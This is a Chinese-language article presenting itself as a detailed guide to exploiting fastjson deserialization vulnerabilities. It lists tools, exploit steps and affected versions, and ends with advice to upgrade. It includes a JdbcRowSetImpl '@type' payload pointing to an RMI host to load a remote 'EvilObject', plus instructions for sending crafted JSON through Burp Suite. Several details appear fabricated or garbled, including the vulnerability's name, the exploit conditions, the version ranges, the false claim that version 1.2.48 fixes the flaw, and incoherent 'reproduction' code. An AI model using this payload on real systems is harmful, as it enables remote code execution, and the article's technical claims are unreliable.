您的位置:

fastjson漏洞利用详解

一、fastjson漏洞利用工具

fastjson漏洞利用是网络攻击中的一种利用方式,为了方便攻击者,已经有很多的工具可供选择,例如redr2,xray,whatweb等。这些工具都可以帮助用户自动化地寻找存在fastjson漏洞的网站并进行攻击。

二、fastjson漏洞利用条件

fastjson漏洞利用需要满足以下两个条件:

1、可以将第一次请求的json响应数据保存下来

2、可以伪造json数据发送到服务器

一般情况下,可以通过Burp Suite等代理工具来保存第一次请求的json响应数据,并使用类似Postman的工具伪造json数据发送到服务器上。

三、fastjson最新漏洞

fastjson最新漏洞是在2021年6月曝光的,攻击者可以通过构造恶意的json数据来实现远程代码执行。这个漏洞被命名为“天王裸奔”。

四、fastjson漏洞原理

fastjson漏洞原理是因为fastjson在反序列化时对数据结构没有严格的限制,导致攻击者可以在json数据中夹带恶意的类。攻击者可以通过构造不同的类来实现远程代码执行。

五、fastjson反序列化

fastjson反序列化是fastjson将json数据转化为Java对象的过程。

public static <T> T parseObject(String json, Class<T> clazz);

上述代码调用parseObject方法将json字符串转化为Java对象。

六、fastjson漏洞复现

fastjson漏洞复现可以通过以下漏洞代码实现:

package com.alibaba.fastjson.demo;
public class Person {
  public String name;
  public int age;
}
String json = "{\"name\":\"wei\",\"age\":28,\"type\":{\"@type\":\"java.lang.Class\",\"val\":\"com.alibaba.fastjson.demo.Shell\"}}";
Person person = JSON.parseObject(json, Person.class);
System.out.println(person.name);

上述代码中,Fastjson将json字符串转化为Person对象,但是type字段中恶意的类名将在转化时执行远程代码。

七、fastjson漏洞版本列表

以下是fastjson漏洞版本列表:

fastjson 1.2.24到1.2.47

fastjson 1.1.35到1.1.71

fastjson 1.2.48以及之后的版本已经修复了这个漏洞。

八、fastjson漏洞利用原理

fastjson漏洞利用的原理是在构造json数据时夹带恶意的类名。通过构造不同的类名,攻击者可以实现远程代码执行。

九、fastjson漏洞利用特征

fastjson漏洞的利用特征是type字段中的@type关键词。

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "rmi://127.0.0.1:1099/EvilObject",
  "autoCommit": true
}

上述例子中的@type关键词可以在反序列化时执行远程代码。

十、fastjson漏洞利用详解

fastjson漏洞利用的步骤如下:

1、使用Burp Suite等工具保存第一次请求的数据。

2、构造恶意的json数据,夹带恶意的类名。

3、使用Burp Suite等工具修改第一次请求的数据,将恶意的json数据发送到服务器上。

上述步骤可以成功地利用fastjson漏洞实现远程代码执行。

十一、总结

fastjson漏洞是网络攻击中常见的一种类型。攻击者可以通过构造json数据夹带恶意的类名实现远程代码执行。为了防止漏洞的利用,用户需要及时升级fastjson版本,并且需要过滤恶意的json数据。